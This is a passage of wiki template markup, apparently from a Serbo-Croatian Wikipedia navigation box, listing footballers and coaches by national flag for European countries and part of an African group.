Shaw]]{{•w}} {{flagicon|ENG}} [[Eric Dier]]{{•w}} {{flagicon|ENG}} [[Jamie Vardy]]{{•w}} {{flagicon|ENG}} [[Jack Grealish]]{{•w}} {{flagicon|ENG}} [[Marcus Rashford]]{{•w}} {{flagicon|ENG}} [[Harry Kane]]{{•w}} {{flagicon|ENG}} [[Jesse Lingard]]{{•w}} {{flagicon|ENG}} [[Kieran Trippier]]{{•w}} {{flagicon|ENG}} [[Jordan Henderson]]{{•w}} {{flagicon|ENG}} [[Harry Maguire]]{{•w}} {{flagicon|ENG}} [[Dele Alli]]{{•w}} {{flagicon|ENG}} [[Jude Bellingham]]{{•w}} {{flagicon|ENG}} [[Bukayo Saka]]{{•w}} {{flagicon|EST}} [[Andres Oper]]{{•w}} {{flagicon|EST}} [[Martin Reim]]{{•w}} {{flagicon|FIN}} [[Joel Pohjanpalo]]{{•w}} {{flagicon|FIN}} [[Lukáš Hrádecký]]{{•w}} {{flagicon|FRA}} [[Fabien Barthez]]{{•w}} {{flagicon|FRA}} [[Lilian Thuram]]{{•w}} {{flagicon|FRA}} [[Marcus Thuram]]{{•w}} {{flagicon|FRA}} [[Patrick Vieira]]{{•w}} {{flagicon|FRA}} [[Thierry Henry]]{{•w}} {{flagicon|FRA}} [[Alou Diarra]]{{•w}} {{flagicon|FRA}} [[Claude Makélélé]]{{•w}} {{flagicon|FRA}} [[Florent Malouda]]{{•w}} {{flagicon|FRA}} [[Vikash Dhorasoo]]{{•w}} {{flagicon|FRA}} [[Alain Giresse]]{{•w}} {{flagicon|FRA}} [[Didier Deschamps]]{{•w}} {{flagicon|FRA}} [[Raymond Kopa]]{{•w}} {{flagicon|FRA}} [[Marius Trésor]]{{•w}} {{flagicon|FRA}} [[Marcel Desailly]]{{•w}} {{flagicon|FRA}} [[Luis Fernández]]{{•w}} {{flagicon|FRA}} [[Aimé Jacquet]]{{•w}} {{flagicon|FRA}} [[Nicolas Anelka]]{{•w}} {{flagicon|FRA}} [[Bixente Lizarazu]]{{•w}} {{flagicon|FRA}} [[Youri Djorkaeff]]{{•w}} {{flagicon|FRA}} [[Jean Vincent (fudbaler)|Jean Vincent]]{{•w}} {{flagicon|FRA}} [[Sylvain Wiltord]]{{•w}} {{flagicon|FRA}} [[Hugo Lloris]]{{•w}} {{flagicon|FRA}} [[Manuel Amoros]]{{•w}} {{flagicon|FRA}} [[Robert Pirès]]{{•w}} {{flagicon|FRA}} [[Franck Ribéry]]{{•w}} {{flagicon|FRA}} [[David Trézéguet]]{{•w}} {{flagicon|FRA}} [[Raymond Domenech]]{{•w}} {{flagicon|FRA}} [[Samir Nasri]]{{•w}} {{flagicon|FRA}} [[Jérémy Ménez]]{{•w}} {{flagicon|FRA}} [[Yohan Cabaye]]{{•w}} {{flagicon|FRA}} [[Laurent Blanc]]{{•w}} {{flagicon|FRA}} [[Éric Abidal]]{{•w}} {{flagicon|FRA}} [[Olivier Giroud]]{{•w}} {{flagicon|FRA}} [[Blaise Matuidi]]{{•w}} {{flagicon|FRA}} [[Paul Pogba]]{{•w}} {{flagicon|FRA}} [[Moussa Sissoko]]{{•w}} {{flagicon|FRA}} [[Mathieu Valbuena]]{{•w}} {{flagicon|FRA}} [[Dimitri Payet]]{{•w}} {{flagicon|FRA}} [[Kingsley Coman]]{{•w}} {{flagicon|FRA}} [[Patrice Evra]]{{•w}} {{flagicon|FRA}} [[Antoine Griezmann]]{{•w}} {{flagicon|FRA}} [[Kylian Mbappé]]{{•w}} {{flagicon|FRA}} [[Benjamin Pavard]]{{•w}} {{flagicon|FRA}} [[Raphaël Varane]]{{•w}} {{flagicon|FRA}} [[Samuel Umtiti]]{{•w}} {{flagicon|FRA}} [[Presnel Kimpembe]]{{•w}} {{flagicon|FRA}} [[Adrien Rabiot]]{{•w}} {{flagicon|FRA}} [[Aurélien Tchouaméni]]{{•w}} {{flagicon|FRA}} [[Théo Hernandez]]{{•w}} {{flagicon|FRA}} [[Randal Kolo Muani]]{{•w}} {{flagicon|FRA}} [[Willy Sagnol]]{{•w}} {{flagicon|FRA}} [[Bradley Barcola]]{{•w}} {{flagicon|FRA}} [[William Saliba]]{{•w}} {{flagicon|FRA}} [[Mike Maignan]]{{•w}} {{flagicon|FRA}} [[Youssouf Fofana (francuski fudbaler)|Youssouf Fofana]]{{•w}} {{flagicon|FRA}} [[Ousmane Dembélé]]{{•w}} {{flagicon|GRČ}} [[Sokratis Papastatopulos]]{{•w}} {{flagicon|GRČ}} [[Jorgos Karagunis]]{{•w}} {{flagicon|GRČ}} [[Kostas Fortunis]]{{•w}} {{flagicon|GRČ}} [[Teofanis Gekas]]{{•w}} {{flagicon|GRČ}} [[Andreas Samaris]]{{•w}} {{flagicon|GRČ}} [[Konstantinos Mitroglu]]{{•w}} {{flagicon|GRČ}} [[Lazaros Hristodulopulos]]{{•w}} {{flagicon|GRČ}} [[José Holebas]]{{•w}} {{flagicon|GRU}} [[Georges Mikautadze]]{{•w}} {{flagicon|GRU}} [[Giorgi Mamardašvili]]{{•w}} {{flagicon|IRS}} [[Sean St Ledger]]{{•w}} {{flagicon|IRS}} [[Ciaran Clark]]{{•w}} {{flagicon|IRS}} [[Wes Hoolahan]]{{•w}} {{flagicon|IRS}} [[Robbie Brady]]{{•w}} {{flagicon|ISL}} [[Gylfi Sigurðsson]]{{•w}} {{flagicon|ISL}} [[Birkir Bjarnason]]{{•w}} {{flagicon|ISL}} [[Birkir Már Sævarsson]]{{•w}} {{flagicon|ISL}} [[Jón Daði Böðvarsson]]{{•w}} {{flagicon|ISL}} [[Arnór Ingvi Traustason]]{{•w}} {{flagicon|ISL}} [[Kolbeinn Sigþórsson]]{{•w}} {{flagicon|ISL}} [[Ragnar Sigurðsson]]{{•w}} {{flagicon|ISL}} [[Alfreð Finnbogason]]{{•w}} {{flagicon|ITA}} [[Gianluigi Buffon]]{{•w}} {{flagicon|ITA}} [[Antonio Cassano]]{{•w}} {{flagicon|ITA}} [[Mario Balotelli]]{{•w}} {{flagicon|ITA}} [[Riccardo Montolivo]]{{•w}} {{flagicon|ITA}} [[Antonio Nocerino]]{{•w}} {{flagicon|ITA}} [[Alessandro Diamanti]]{{•w}} {{flagicon|ITA}} [[Roberto Di Matteo]]{{•w}} {{flagicon|ITA}} [[Antonio Di Natale]]{{•w}} {{flagicon|ITA}} [[Andrea Pirlo]]{{•w}} {{flagicon|ITA}} [[Claudio Marchisio]]{{•w}} {{flagicon|ITA}} [[Graziano Pellè]]{{•w}} {{flagicon|ITA}} [[Emanuele Giaccherini]]{{•w}} {{flagicon|ITA}} [[Éder (italijanski fudbaler)|Éder]]{{•w}} {{flagicon|ITA}} [[Giorgio Chiellini]]{{•w}} {{flagicon|ITA}} [[Leonardo Bonucci]]{{•w}} {{flagicon|ITA}} [[Andrea Barzagli]]{{•w}} {{flagicon|ITA}} [[Marco Parolo]]{{•w}} {{flagicon|ITA}} [[Lorenzo Insigne]]{{•w}} {{flagicon|ITA}} [[Mattia De Sciglio]]{{•w}} {{flagicon|ITA}} [[Simone Zaza]]{{•w}} {{flagicon|ITA}} [[Matteo Darmian]]{{•w}} {{flagicon|ITA}} [[Manuel Locatelli]]{{•w}} {{flagicon|ITA}} [[Matteo Pessina]]{{•w}} {{flagicon|ITA}} [[Federico Chiesa]]{{•w}} {{flagicon|ITA}} [[Andrea Belotti]]{{•w}} {{flagicon|ITA}} [[Jorge Luiz Frello Filho|Jorginho]]{{•w}} {{flagicon|ITA}} [[Federico Bernardeschi]]{{•w}} {{flagicon|ITA}} [[Domenico Berardi]]{{•w}} {{flagicon|ITA}} [[Gianluigi Donnarumma]]{{•w}} {{flagicon|ITA}} [[Leonardo Spinazzola]]{{•w}} {{flagicon|ITA}} [[Alessandro Bastoni]]{{•w}} {{flagicon|ITA}} [[Riccardo Calafiori]]{{•w}} {{flagicon|ITA}} [[Mattia Zaccagni]]{{•w}} {{flagicon|MAĐ}} [[Gábor Király]]{{•w}} {{flagicon|MAĐ}} [[Zoltán Stieber]]{{•w}} {{flagicon|MAĐ}} [[Ádám Szalai]]{{•w}} {{flagicon|MAĐ}} [[Balázs Dzsudzsák]]{{•w}} {{flagicon|MAĐ}} [[Zoltán Gera]]{{•w}} {{flagicon|MAĐ}} [[Attila Fiola]]{{•w}} {{flagicon|MAĐ}} [[András Schäfer]]{{•w}} {{flagicon|MAĐ}} [[Barnabás Varga]]{{•w}} {{flagicon|MAĐ}} [[Kevin Csoboth]]{{•w}} {{flagicon|MAĐ}} [[Sándor Kocsis]]{{•w}} {{flagicon|MAK}} [[Ivan Tričkovski]]{{•w}} {{flagicon|NIZ}} [[Edwin van der Sar]]{{•w}} {{flagicon|NIZ}} [[Dirk Kuijt]]{{•w}} {{flagicon|NIZ}} [[Ruud van Nistelrooij]]{{•w}} {{flagicon|NIZ}} [[Marco van Basten]]{{•w}} {{flagicon|NIZ}} [[Wesley Sneijder]]{{•w}} {{flagicon|NIZ}} [[Giovanni van Bronckhorst]]{{•w}} {{flagicon|NIZ}} [[Robin van Persie]]{{•w}} {{flagicon|NIZ}} [[Bert van Marwijk]]{{•w}} {{flagicon|NIZ}} [[Jetro Willems]]{{•w}} {{flagicon|NIZ}} [[Arjen Robben]]{{•w}} {{flagicon|NIZ}} [[Stefan de Vrij]]{{•w}} {{flagicon|NIZ}} [[Jasper Cillessen]]{{•w}} {{flagicon|NIZ}} [[Memphis Depay]]{{•w}} {{flagicon|NIZ}} [[Leroy Fer]]{{•w}} {{flagicon|NIZ}} [[Klaas-Jan Huntelaar]]{{•w}} {{flagicon|NIZ}} [[Ron Vlaar]]{{•w}} {{flagicon|NIZ}} [[Daley Blind]]{{•w}} {{flagicon|NIZ}} [[Steven Berghuis]]{{•w}} {{flagicon|NIZ}} [[Teun Koopmeiners]]{{•w}} {{flagicon|NIZ}} [[Luuk de Jong]]{{•w}} {{flagicon|NIZ}} [[Georginio Wijnaldum]]{{•w}} {{flagicon|NIZ}} [[Patrick Kluivert]]{{•w}} {{flagicon|NIZ}} [[Maarten Stekelenburg]]{{•w}} {{flagicon|NIZ}} [[Wout Weghorst]]{{•w}} {{flagicon|NIZ}} [[Denzel Dumfries]]{{•w}} {{flagicon|NIZ}} [[Cody Gakpo]]{{•w}} {{flagicon|NIZ}} [[Davy Klaassen]]{{•w}} {{flagicon|NIZ}} [[Donyell Malen]]{{•w}} {{flagicon|NIZ}} [[Xavi Simons]]{{•w}} {{flagicon|NJE}} [[Miroslav Klose]]{{•w}} {{flagicon|NJE}} [[Jens Lehmann]]{{•w}} {{flagicon|NJE}} [[Michael Ballack]]{{•w}} {{flagicon|NJE}} [[Sami Khedira]]{{•w}} {{flagicon|NJE}} [[Marco Reus]]{{•w}} {{flagicon|NJE}} [[Arne Friedrich]]{{•w}} {{flagicon|NJE}} [[Philipp Lahm]]{{•w}} {{flagicon|NJE}} [[Marko Marin]]{{•w}} {{flagicon|NJE}} [[Lukas Podolski]]{{•w}} {{flagicon|NJE}} [[Jürgen Klopp]]{{•w}} {{flagicon|NJE}} [[Mario Gómez]]{{•w}} {{flagicon|NJE}} [[Manuel Neuer]]{{•w}} {{flagicon|NJE}} {{nowrap|[[Bastian Schweinsteiger]]}}{{•w}} {{flagicon|NJE}} [[Thomas Müller]]{{•w}} {{flagicon|NJE}} [[Mats Hummels]]{{•w}} {{flagicon|NJE}} [[André Schürrle]]{{•w}} {{flagicon|NJE}} [[Joachim Löw]]{{•w}} {{flagicon|NJE}} [[Shkodran Mustafi]]{{•w}} {{flagicon|NJE}} [[Jérôme Boateng]]{{•w}} {{flagicon|NJE}} [[Julian Draxler]]{{•w}} {{flagicon|NJE}} [[Joshua Kimmich]]{{•w}} {{flagicon|NJE}} [[Jonas Hector]]{{•w}} {{flagicon|NJE}} [[Robin Gosens]]{{•w}} {{flagicon|NJE}} [[Leon Goretzka]]{{•w}} {{flagicon|NJE}} [[Youssoufa Moukoko]]{{•w}} {{flagicon|NJE}} [[Niclas Füllkrug]]{{•w}} {{flagicon|NJE}} [[Florian Wirtz]]{{•w}} {{flagicon|NJE}} [[Jamal Musiala]]{{•w}} {{flagicon|NJE}} [[Robert Andrich]]{{•w}} {{flagicon|NJE}} [[Antonio Rüdiger]]{{•w}} {{flagicon|NJE}} [[Emre Can]]{{•w}} {{flagicon|POLJ}} [[Bartosz Bosacki]]{{•w}} {{flagicon|POLJ}} [[Łukasz Fabiański]]{{•w}} {{flagicon|POLJ}} [[Artur Boruc]]{{•w}} {{flagicon|POLJ}} [[Tomasz Kuszczak]]{{•w}} {{flagicon|POLJ}} [[Mariusz Lewandowski]]{{•w}} {{flagicon|POLJ}} [[Piotr Giza]]{{•w}} {{flagicon|POLJ}} [[Ireneusz Jeleń]]{{•w}} {{flagicon|POLJ}} [[Jakub Błaszczykowski]]{{•w}} {{flagicon|POLJ}} [[Włodzimierz Smolarek]]{{•w}} {{flagicon|POLJ}} [[Robert Lewandowski]]{{•w}} {{flagicon|POLJ}} [[Arkadiusz Milik]]{{•w}} {{flagicon|POLJ}} [[Kamil Glik]]{{•w}} {{flagicon|POLJ}} [[Grzegorz Krychowiak]]{{•w}} {{flagicon|POLJ}} [[Thiago Cionek]]{{•w}} {{flagicon|POLJ}} [[Jan Bednarek]]{{•w}} {{flagicon|POLJ}} [[Karol Linetty]]{{•w}} {{flagicon|POLJ}} [[Piotr Zieliński]]{{•w}} {{flagicon|POLJ}} [[Kacper Kozłowski (fudbaler)|Kacper Kozłowski]]{{•w}} {{flagicon|POLJ}} [[Adam Buksa]]{{•w}} {{flagicon|POLJ}} [[Krzysztof Piątek]]{{•w}} {{flagicon|POLJ}} [[Grzegorz Lato]]{{•w}} {{flagicon|POR}} [[Képler Laveran Lima Ferreira|Pepe]]{{•w}} {{flagicon|POR}} [[José Mourinho]]{{•w}} {{flagicon|POR}} [[Luís Figo]]{{•w}} {{flagicon|POR}} [[Cristiano Ronaldo]]{{•w}} {{flagicon|POR}} [[Silvestre Varela]]{{•w}} {{flagicon|POR}} [[Hélder Postiga]]{{•w}} {{flagicon|POR}} [[João Moutinho]]{{•w}} {{flagicon|POR}} [[Bruno Alves]]{{•w}} {{flagicon|POR}} [[Renato Sanches]]{{•w}} {{flagicon|POR}} [[Ricardo Quaresma]]{{•w}} {{flagicon|POR}} [[Éder (portugalski fudbaler)|Éder]]{{•w}} {{flagicon|POR}} [[Rui Patrício]]{{•w}} {{flagicon|POR}} [[Raphaël Guerreiro]]{{•w}} {{flagicon|POR}} [[Diogo Jota]]{{•w}} {{flagicon|POR}} [[Ricardo Horta]]{{•w}} {{flagicon|POR}} [[Gonçalo Ramos]]{{•w}} {{flagicon|POR}} [[Francisco Conceição]]{{•w}} {{flagicon|RUM}} [[Mircea Lucescu]]{{•w}} {{flagicon|RUM}} [[Răzvan Raţ]]{{•w}} {{flagicon|RUM}} [[Ciprian Marica]]{{•w}} {{flagicon|RUM}} [[Bogdan Stancu]]{{•w}} {{flagicon|RUM}} [[Vlad Chiricheș]]{{•w}} {{flagicon|RUM}} [[Răzvan Marin]]{{•w}} {{flagicon|RUM}} [[Denis Drăguș]]{{•w}} {{flagicon|RUM}} [[Nicolae Stanciu (fudbaler, rođen 1993.)|Nicolae Stanciu]]{{•w}} {{flagicon|RUM}} [[Gheorghe Hagi]]{{•w}} {{flagicon|RUS}} [[Roman Pavljučenko]]{{•w}} {{flagicon|RUS}} [[Konstantin Zirjanov]]{{•w}} {{flagicon|RUS}} [[Andrej Aršavin]]{{•w}} {{flagicon|RUS}} [[Dmitri Torbinski]]{{•w}} {{flagicon|RUS}} [[Alan Dzagojev]]{{•w}} {{flagicon|RUS}} [[Roman Širokov]]{{•w}} {{flagicon|RUS}} [[Aleksandar Kokorin]]{{•w}} {{flagicon|RUS}} [[Aleksandar Keržakov]]{{•w}} {{flagicon|RUS}} [[Vasilij Berezucki]]{{•w}} {{flagicon|RUS}} [[Aleksej Berezucki]]{{•w}} {{flagicon|RUS}} [[Sergej Ignaševič]]{{•w}} {{flagicon|RUS}} [[Denis Glušakov]]{{•w}} {{flagicon|RUS}} [[Denis Čerišev]]{{•w}} {{flagicon|RUS}} [[Artem Dzjuba]]{{•w}} {{flagicon|RUS}} [[Fjodor Smolov]]{{•w}} {{flagicon|RUS}} [[Mário Fernandes (fudbaler)|Mário Fernandes]]{{•w}} {{flagicon|RUS}} [[Daler Kuzjajev]]{{•w}} {{flagicon|RUS}} [[Aleksej Mirančuk]]{{•w}} {{flagicon|RUS}} [[Rinat Dasajev]]{{•w}} {{flagicon|RUS}} [[Oleg Saljenko]]{{•w}} {{flagicon|RUS}} [[Valentin Ivanov (sovjetski fudbaler)|Valentin Kozmič Ivanov]]{{•w}} {{flagicon|SJI}} [[Gareth McAuley]]{{•w}} {{flagicon|SJI}} [[Niall McGinn]]{{•w}} {{flagicon|SMK}} [[Ezđan Alioski]]{{•w}} {{flagicon|SLK}} [[Ondrej Duda]]{{•w}} {{flagicon|SLK}} [[Vladimír Weiss (fudbaler rođen 1989.)|Vladimír Weiss III]]{{•w}} {{flagicon|SLK}} [[Marek Hamšík]]{{•w}} {{flagicon|SLK}} [[Martin Dúbravka]]{{•w}} {{flagicon|SLK}} [[Juraj Kucka]]{{•w}} {{flagicon|SLK}} [[Ivan Schranz]]{{•w}} {{flagicon|SLO}} [[Erik Janža]]{{•w}} {{flagicon|SLO}} [[Josip Iličić]]{{•w}} {{flagicon|SLO}} [[Jure Balkovec]]{{•w}} {{flagicon|SRB}} [[Milan Jovanović]]{{•w}} {{flagicon|SRB}} [[Marko Pantelić]]{{•w}} {{flagicon|SRB}} [[Miloš Krasić]]{{•w}} {{flagicon|SRB}} [[Zdravko Kuzmanović]]{{•w}} {{flagicon|SRB}} [[Vladan Lukić]]{{•w}} {{flagicon|SRB}} [[Ilija Petković]]{{•w}} {{flagicon|SRB}} [[Filip Kasalica]]{{•w}} {{flagicon|SRB}} [[Dragan Stojković]]{{•w}} {{flagicon|SRB}} [[Branislav Ivanović]]{{•w}} {{flagicon|SRB}} [[Boško Janković]]{{•w}} {{flagicon|SRB}} [[Vlada Avramov]]{{•w}} {{flagicon|SRB}} [[Aleksandar Mitrović (fudbaler)|Aleksandar Mitrović]]{{•w}} {{flagicon|ŠKO}} [[Callum McGregor]]{{•w}} {{flagicon|ŠKO}} [[Ryan Porteous]]{{•w}} {{flagicon|ŠPA}} [[Juan Gutiérrez Moreno|Juanito]]{{•w}} {{flagicon|ŠPA}} [[David de Gea]]{{•w}} {{flagicon|ŠPA}} [[Cesc Fàbregas]]{{•w}} {{flagicon|ŠPA}} [[Javier Clemente]]{{•w}} {{flagicon|ŠPA}} [[David Silva]]{{•w}} {{flagicon|ŠPA}} [[Jesús Navas]]{{•w}} {{flagicon|ŠPA}} [[Xabi Alonso]]{{•w}} {{flagicon|ŠPA}} [[Gerard Piqué]]{{•w}} {{flagicon|ŠPA}} [[Sergio Ramos]]{{•w}} {{flagicon|ŠPA}} [[Jordi Alba]]{{•w}} {{flagicon|ŠPA}} [[Álvaro Morata]]{{•w}} {{flagicon|ŠPA}} [[Nolito]]{{•w}} {{flagicon|ŠPA}} [[Nacho (fudbaler rođen 1990.)|Nacho]]{{•w}} {{flagicon|ŠPA}} [[Diego Costa]]{{•w}} {{flagicon|ŠPA}} [[Iago Aspas]]{{•w}} {{flagicon|ŠPA}} [[Isco]]{{•w}} {{flagicon|ŠPA}} [[Koke (fudbaler rođen 1992.)|Koke]]{{•w}} {{flagicon|ŠPA}} [[José Antonio Reyes]]{{•w}} {{flagicon|ŠPA}} [[Gerard Moreno (fudbaler)|Gerard Moreno]]{{•w}} {{flagicon|ŠPA}} [[Aymeric Laporte]]{{•w}} {{flagicon|ŠPA}} [[Pablo Sarabia]]{{•w}} {{flagicon|ŠPA}} [[Ferran Torres]]{{•w}} {{flagicon|ŠPA}} [[Pedri]]{{•w}} {{flagicon|ŠPA}} [[Mikel Oyarzabal]]{{•w}} {{flagicon|ŠPA}} [[Rodri (fudbaler, rođen 1996.)|Rodri]]{{•w}} {{flagicon|ŠPA}} [[Marco Asensio]]{{•w}} {{flagicon|ŠPA}} [[Carlos Soler (fudbaler)|Carlos Soler]]{{•w}} {{flagicon|ŠPA}} [[Fabián Ruiz]]{{•w}} {{flagicon|ŠPA}} [[Lamine Yamal]]{{•w}} {{flagicon|ŠPA}} [[Nico Williams]]{{•w}} {{flagicon|ŠPA}} [[Robin Le Normand]]{{•w}} {{flagicon|ŠPA}} [[Mikel Merino]]{{•w}} {{flagicon|ŠVE}} [[Viktor Claesson]]{{•w}} {{flagicon|ŠVE}} [[Andreas Isaksson]]{{•w}} {{flagicon|ŠVE}} [[Olof Mellberg]]{{•w}} {{flagicon|ŠVE}} [[Sebastian Larsson]]{{•w}} {{flagicon|ŠVE}} [[Zlatan Ibrahimović]]{{•w}} {{flagicon|ŠVE}} [[Andreas Granqvist]]{{•w}} {{flagicon|ŠVE}} [[Ola Toivonen]]{{•w}} {{flagicon|ŠVE}} [[Ludwig Augustinsson]]{{•w}} {{flagicon|ŠVE}} [[Emil Forsberg]]{{•w}} {{flagicon|ŠVE}} [[Sven-Göran Eriksson]]{{•w}} {{flagicon|ŠVI}} [[Blerim Džemaili]]{{•w}} {{flagicon|ŠVI}} [[Ludovic Magnin]]{{•w}} {{flagicon|ŠVI}} [[Admir Mehmedi]]{{•w}} {{flagicon|ŠVI}} [[Haris Seferović]]{{•w}} {{flagicon|ŠVI}} [[Granit Xhaka]]{{•w}} {{flagicon|ŠVI}} [[Xherdan Shaqiri]]{{•w}} {{flagicon|ŠVI}} [[Breel Embolo]]{{•w}} {{flagicon|ŠVI}} [[Fabian Schär]]{{•w}} {{flagicon|ŠVI}} [[Stephan Lichtsteiner]]{{•w}} {{flagicon|ŠVI}} [[Ricardo Rodríguez (fudbaler)|Ricardo Rodríguez]]{{•w}} {{flagicon|ŠVI}} [[Steven Zuber]]{{•w}} {{flagicon|ŠVI}} [[Josip Drmić]]{{•w}} {{flagicon|ŠVI}} [[Yann Sommer]]{{•w}} {{flagicon|ŠVI}} [[Manuel Akanji]]{{•w}} {{flagicon|ŠVI}} [[Ruben Vargas]]{{•w}} {{flagicon|ŠVI}} [[Denis Zakaria]]{{•w}} {{flagicon|ŠVI}} [[Remo Freuler]]{{•w}} {{flagicon|ŠVI}} [[Michel Aebischer]]{{•w}} {{flagicon|ŠVI}} [[Kwadwo Duah]]{{•w}} {{flagicon|ŠVI}} [[Dan Ndoye]]{{•w}} {{flagicon|ŠVI}} [[Zeki Amdouni]]{{•w}} {{flagicon|TUR}} [[Nihat Kahveci]]{{•w}} {{flagicon|TUR}} [[Semih Şentürk]]{{•w}} {{flagicon|TUR}} [[Volkan Demirel]]{{•w}} {{flagicon|TUR}} [[Uğur Boral]]{{•w}} {{flagicon|TUR}} [[Hamit Altıntop]]{{•w}} {{flagicon|TUR}} [[Emre Mor]]{{•w}} {{flagicon|TUR}} [[Ozan Tufan]]{{•w}} {{flagicon|TUR}} [[Burak Yılmaz]]{{•w}} {{flagicon|TUR}} [[Merih Demiral]]{{•w}} {{flagicon|TUR}} [[Çağlar Söyüncü]]{{•w}} {{flagicon|TUR}} [[Ahmet Yılmaz Çalık]]{{•w}} {{flagicon|TUR}} [[Halil Dervişoğlu]]{{•w}} {{flagicon|TUR}} [[İrfan Kahveci]]{{•w}} {{flagicon|TUR}} [[Kerem Aktürkoğlu]]{{•w}} {{flagicon|TUR}} [[Mert Müldür]]{{•w}} {{flagicon|TUR}} [[Samet Akaydin]]{{•w}} {{flagicon|TUR}} [[Hakan Çalhanoğlu]]{{•w}} {{flagicon|TUR}} [[Cenk Tosun]]{{•w}} {{flagicon|UKR}} [[Andrij Ševčenko]]{{•w}} {{flagicon|UKR}} [[Andrij Pjatov]]{{•w}} {{flagicon|UKR}} [[Oleksandr Šovkovski]]{{•w}} {{flagicon|UKR}} [[Bohdan Šust]]{{•w}} {{flagicon|UKR}} [[Andrij Vorobjej]]{{•w}} {{flagicon|UKR}} [[Anatolij Timoščuk]]{{•w}} {{flagicon|UKR}} [[Oleh Husjev]]{{•w}} {{flagicon|UKR}} [[Maksim Kalinjičenko]]{{•w}} {{flagicon|UKR}} [[Oleksij Bjelik]]{{•w}} {{flagicon|UKR}} [[Vjačeslav Ševčuk]]{{•w}} {{flagicon|UKR}} [[Andrij Jarmolenko]]{{•w}} {{flagicon|UKR}} [[Roman Jaremčuk]]{{•w}} {{flagicon|UKR}} [[Ruslan Malinovskij]]{{•w}} {{flagicon|UKR}} [[Artem Dovbik]]{{•w}} {{flagicon|UKR}} [[Mikola Šaparenko]]{{•w}} {{flagicon|UKR}} [[Oleg Blohin]]{{•w}} {{flagicon|WAL}} [[Hal Robson-Kanu]]{{•w}} {{flagicon|WAL}} [[Neil Taylor (fudbaler)|Neil Taylor]]{{•w}} {{flagicon|WAL}} [[Ashley Williams (fudbaler)|Ashley Williams]]{{•w}} {{flagicon|WAL}} [[Sam Vokes]]{{•w}} {{flagicon|WAL}} [[Joe Allen (fudbaler rođen 1990.)|Joe Allen]]{{•w}} {{flagicon|WAL}} [[Kieffer Moore]]{{•w}} {{flagicon|WAL}} [[Connor Roberts (fudbaler, rođen 1995.)|Connor Roberts]] {{nowrap end}} | group2 = Afrika | list2 = {{nowrap begin}} {{flagicon|ANG}} [[Luís Oliveira Gonçalves]]{{•w}} {{flagicon|ANG}} [[Flávio da Silva Amado|Flávio]]{{•w}} {{flagicon|ANG}} [[Akwá]]{{•w}} {{flagicon|ANG}} [[Manucho]]{{•w}} {{flagicon|ANG}} [[Nando Rafael]]{{•w}} {{flagicon|ANG}} [[Rui Marques]]{{•w}} {{flagicon|ANG}} [[Gilberto (angolski fudbaler)|Gilberto]]{{•w}} {{flagicon|ALŽ}} [[Abdelmoumene Djabou]]{{•w}} {{flagicon|ALŽ}} [[Islam Slimani]]{{•w}} {{flagicon|ALŽ}} [[Yacine Brahimi]]{{•w}} {{flagicon|ALŽ}} [[Sofiane Feghouli]]{{•w}} {{flagicon|ALŽ}} [[Rafik Halliche]]{{•w}} {{flagicon|BEN}} [[Stéphane Sessègnon]]{{•w}} {{flagicon|BEN}} [[Moussa Latoundji]]{{•w}} {{flagicon|BEN}} [[Oumar Tchomogo]]{{•w}} {{flagicon|EGI}} [[Mohamed Salah]]{{•w}} {{flagicon|EGI}} [[Ahmed Fathi]]{{•w}} {{flagicon|EGI}} [[Essam al-Hadari]]{{•w}} {{flagicon|Zlatna Obala}} [[Arthur Wharton]]{{•w}} {{flagicon|GAN}} [[Sammy Adjei]]{{•w}} {{flagicon|GAN}} [[Samuel Kuffour]]{{•w}} {{flagicon|GAN}} [[Stephen Appiah]]{{•w}} {{flagicon|GAN}} [[Kevin-Prince Boateng]]{{•w}} {{flagicon|GAN}} [[Emmanuel Frimpong]]{{•w}} {{flagicon|GAN}} [[Tony Yeboah]]{{•w}} {{flagicon|GAN}} [[Abedi Pele]]{{•w}} {{flagicon|GAN}} [[Asamoah Gyan]]{{•w}} {{flagicon|GAN}} [[Sulley Muntari]]{{•w}} {{flagicon|GAN}} [[Richard Kingson]]{{•w}} {{flagicon|GAN}} [[André Ayew]]{{•w}} {{flagicon|GAN}} [[John Boye]]{{•w}} {{flagicon|GAN}} [[Osman Bukari]]{{•w}} {{flagicon|GAN}} [[Mohammed Kudus]]{{•w}} {{flagicon|GAN}} [[Mohammed Salisu]]{{•w}} {{flagicon|GAN}} [[Iñaki Williams]]{{•w}} {{flagicon|CMR}} [[Joël Matip]]{{•w}} {{flagicon|CMR}} [[Roger Milla]]{{•w}} {{flagicon|CMR}} [[Jean-Charles Castelletto]]{{•w}} {{flagicon|CMR}} [[Eric Maxim Choupo-Moting]]{{•w}} {{flagicon|CMR}} [[Vincent Aboubakar]]{{•w}} {{flagicon|MAR}} [[Aziz Bouhaddouz]]{{•w}} {{flagicon|MAR}} [[Khalid Boutaïb]]{{•w}} {{flagicon|MAR}} [[Youssef En-Nesyri]]{{•w}} {{flagicon|MAR}} [[Nayef Aguerd]]{{•w}} {{flagicon|MAR}} [[Hakim Ziyech]]{{•w}} {{flagicon|MAR}} [[Romain Saïss]]{{•w}} {{flagicon|MAR}} [[Zakaria Aboukhlal]]{{•w}} {{flagicon|MAR}} [[Badr Benoun]]{{•w}} {{flagicon|MAR}} [[Abdelhamid Sabiri]]{{•w}} {{flagicon|MAR}} [[Achraf Dari]]{{•w}} {{flagicon|Nigerija}} [[Joseph Yobo]]{{•w}} {{flagicon|Nigerija}} [[Ahmed Musa]]{{•w}} {{flagicon|Nigerija}} [[Victor Moses]]{{•w}} {{flagicon|NGA}} [[Oghenekaro Etebo]]{{•w}} {{flagicon|CIV}} [[Didier Drogba]]{{•w}} {{flagicon|CIV}} [[Wilfried Bony]]{{•w}} {{flagicon|CIV}} [[Gervinho]]{{•w}} {{flagicon|SEN}} [[Ibrahima Gueye]]{{•w}} {{flagicon|SEN}} [[M'Baye Niang]]{{•w}} {{flagicon|SEN}} [[Sadio Mané]]{{•w}} {{flagicon|SEN}} [[Moussa Wagué]]{{•w}} {{flagicon|SEN}} [[Kalidou Koulibaly]]{{•w}} {{flagicon|SEN}} [[Famara Diédhiou]]{{•w}} {{flagicon|SEN}} [[Boulaye Dia]]{{•w}} {{flagicon|SEN}} [[Bamba Dieng]]{{•w}} {{flagicon|TOG}} [[Kossi Agassa]]{{•w}} {{flagicon|TOG}} [[Alaixys Romao]]{{•w}} {{flagicon|TUN}} [[Ferjani Sassi]]{{•w}} {{flagicon|TUN}} [[Yassine Meriah]]{{•w}} {{flagicon|TUN}} [[Wahbi Khazri]]{{•w}} {{flagicon|TUN}} [[Dylan Bronn]]{{•w}} {{flagicon|TUN}} [[Fakhreddine Ben Youssef]] {{nowrap 